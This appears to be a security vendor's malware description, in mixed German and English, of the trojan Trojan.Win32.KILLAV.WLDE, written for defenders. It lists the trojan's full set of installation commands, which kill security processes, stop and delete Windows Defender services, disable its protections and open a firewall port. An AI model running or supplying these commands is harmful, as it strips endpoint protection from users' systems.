Trojan.Win32.KILLAV.WLDE

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

• netsh advfirewall firewall add rule name="WSUS" dir=in action=allow protocol=TCP localport=9050
• taskkill /F /IM SecurityHealthHost.exe
• taskkill /F /IM SecHealthUI.exe
• taskkill /F /IM SecurityHealthSystray.exe
• taskkill /F /IM MpCmdRun.exe
• taskkill /F /IM MSASCui.exe
• taskkill /F /IM MSASCuiL.exe
• %System%\cmd.exe /c ver
• sc config WinDefend start=disabled
• sc stop WinDefend
• sc delete WinDefend
• sc config wscsvc start=disabled
• sc stop wscsvc
• sc delete wscsvc
• sc config SecurityHealthService start=disabled
• sc stop SecurityHealthService
• sc delete SecurityHealthService
• sc config WdNisSvc start=disabled
• sc stop WdNisSvc
• sc delete WdNisSvc
• sc config Sense start=disabled
• sc stop Sense
• sc delete Sense
• sc config SecurityHealthServicestart=disabled
• Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
• %User Temp%\6CC70633-5390-4015-B4AF-3E942173D248\dismhost.exe {39A2C126-CAE5-4784-96BE-423A231B5103}
• powershell -c Set-MpPreference -DisableRealtimeMonitoring $true
• powershell -c Set-MpPreference -DisableBehaviorMonitoring $true
• powershell -c Set-MpPreference -DisableBlockAtFirstSeen $true
• powershell -c Set-MpPreference -DisableIOAVProtection $true
• powershell -c Set-MpPreference -DisableScriptScanning $true
• powershell -c Set-MpPreference -SubmitSamplesConsent 2
• powershell -c Set-MpPreference -MAPSReporting 0
• powershell -c Set-MpPreference -HighThreatDefaultAction 6 -Force
• powershell -c Set-MpPreference -ModerateThreatDefaultAction 6
• powershell -c Set-MpPreference -LowThreatDefaultAction 6
• powershell -c Set-MpPreference -SevereThreatDefaultAction 6
• powershell -c Stop-Service WinDefend
• powershell -c Set-Service WinDefend -StartupType Disabled
• powershell -c Stop-Service wscsvc
• powershell -c Set-Service wscsvc -StartupType Disabled
• powershell -c Stop-Service WdNisSvc
• powershell -c Set-Service WdNisSvc -StartupType Disabled
• powershell -c Stop-Service Sense
• powershell -c Set-Service Sense -StartupType Disabled
• powershell -c Stop-Service SecurityHealthService
• powershell -c Set-Service SecurityHealthService -StartupType Disabled

(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) and 10(64-bit).. %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)